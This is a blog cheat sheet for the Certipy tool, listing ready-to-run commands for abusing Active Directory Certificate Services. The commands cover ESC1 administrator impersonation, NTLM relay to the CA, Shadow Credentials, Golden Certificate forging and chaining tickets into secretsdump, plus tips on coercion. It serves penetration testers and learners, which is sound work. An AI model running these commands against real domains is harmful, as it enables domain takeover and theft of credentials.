root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat certipy.md
// Active Directory

Certipy

21 Jul 2026 · 7 min read
Certipy is the go-to tool for enumerating and abusing Active Directory Certificate Services (AD CS) from Linux. It discovers templates and CAs, requests certificates, and turns them into domain authentication (NT hash or Kerberos TGT). It is the practical replacement for Certify + PKINITtools in a single Python binary.

What makes AD CS dangerous is not a single vulnerability but the configuration: a template that lets the requester set the subjectAltName (ESC1) turns any user into a domain admin. Certipy automates the whole flow — find spots the flaw, req issues the certificate impersonating the UPN, and auth redeems it for credentials — which is why understanding the condition behind each ESC matters more than memorizing the commands.

1. Beginner level — enumerate and request certificates

CERTIPY cheat sheet — Beginner
CommandWhat it does
certipy find -u user@dom -p pass -dc-ip <ip>Enumerate AD CS templates and CAs
certipy find -u user@dom -p pass -dc-ip <ip> -vulnerableShow only what is exploitable
certipy find -u user@dom -p pass -dc-ip <ip> -stdoutPrint output to screen (no BloodHound)
certipy find -u user@dom -p pass -dc-ip <ip> -jsonExport the result to JSON
certipy req -u user@dom -p pass -ca CA -template TmplRequest a certificate
certipy req -u user@dom -p pass -ca CA -template User -upn administratorESC1: impersonate another user (UPN)
certipy auth -pfx admin.pfx -dc-ip <ip>Authenticate with the .pfx and dump NT hash / TGT
certipy account read -u user@dom -p pass -user victimRead the attributes of an account
certipy req -u user@dom -H <hash> -ca CA -template TRequest using the NTLM hash (PtH)
certipy find -u user@dom -p pass -dc-ip <ip> -textSave the report as text
certipy req -u user@dom -p pass -ca CA -template T -target ca.domSpecify the CA host
certipy auth -pfx user.pfx -username user -domain domAuth by supplying username/domain
certipy -vShow the version
certipy find -hHelp for the find subcommand

2. Advanced level — ESC chains, Shadow Creds and relay

CERTIPY cheat sheet — Advanced
CommandWhat it does
certipy req -u user@dom -p pass -ca CA -template T -upn administrator -sid <sid>ESC1 with SID (2022 patch)
certipy ca -u user@dom -p pass -ca CA -enable-template TESC7: enable a template
certipy req -u user@dom -p pass -ca CA -template SubCA -on-behalf-of dom\\userESC3: enrollment agent
certipy shadow auto -u user@dom -p pass -account victimShadow Credentials (KeyCredentialLink)
certipy relay -target http://ca.dom/certsrv/ESC8: NTLM relay to the CA web endpoint
certipy auth -pfx admin.pfx -ldap-shellOpen an LDAP shell with the certificate
certipy forge -ca-pfx ca.pfx -upn administrator@domGolden Certificate (forge with the CA key)
certipy account update -u user@dom -p pass -user v -upn administratorESC9/10: change an account's UPN
certipy req -u user@dom -p pass -ca CA -template T -application-policies 'Client Authentication'ESC15: abuse application policies
certipy auth -pfx admin.pfx -dc-ip <ip> -kirbiSave the TGT in .kirbi format
certipy cert -pfx admin.pfx -nocert -out key.pemExtract the private key from the .pfx
certipy shadow auto -u user@dom -p pass -account dc$ -target dc.domShadow Creds against a DC
certipy req -u user@dom -p pass -ca CA -template T -key-size 4096Adjust the key size
KRB5CCNAME=admin.ccache secretsdump.py -k dc.domChain the TGT with secretsdump

3. Details people miss

  • Sync your clock with the DC (ntpdate or faketime) before running certipy auth: PKINIT and Kerberos reject tickets with time skew and you will hit KRB_AP_ERR_SKEW errors.
  • Since the May 2022 patch (KB5014754) the CA requires the SID embedded in the certificate; if ESC1 fails, add -sid with the victim's SID as shown in the first advanced row.
  • certipy find -vulnerable only flags what Certipy knows how to detect: always review the full report, because misconfigured templates may need manual judgment (enrollment rights, EKUs) that the flag does not surface.
  • Save the .pfx and protect its key: it is equivalent to the impersonated account's credentials and usually stays valid for the certificate's full lifetime, surviving a password change.
  • For ESC8 (relay) you must coerce authentication (PetitPotam, PrinterBug) toward your host; the relay alone does not trigger the incoming connection.

Responsible use

These commands are for systems you own or have explicit written authorisation to test (labs, CTFs, contracted engagements). Using them against third-party infrastructure without permission is illegal in most countries.